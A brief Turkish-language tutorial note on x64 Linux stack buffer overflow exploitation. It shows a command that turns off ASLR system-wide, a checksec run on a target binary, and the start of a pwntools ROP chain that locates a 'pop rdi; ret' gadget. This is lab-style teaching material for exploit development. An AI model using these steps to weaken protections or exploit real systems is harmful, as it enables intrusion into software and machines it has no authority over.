buffer-overflow-x64.md — bleadow
## Stack Tabanlı Buffer Overflow
x64 Linux sistemlerde buffer overflow exploit geliştirme süreci ASLR, NX ve Stack Canary gibi korumalar nedeniyle karmaşıklaşmıştır.
## Ortam Hazırlığı
# ASLR'ı geçici olarak devre dışı bırak
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Checksec ile binary analizi
checksec --file=./vuln_binary## ROP Chain Oluşturma
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# Gadget bul
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]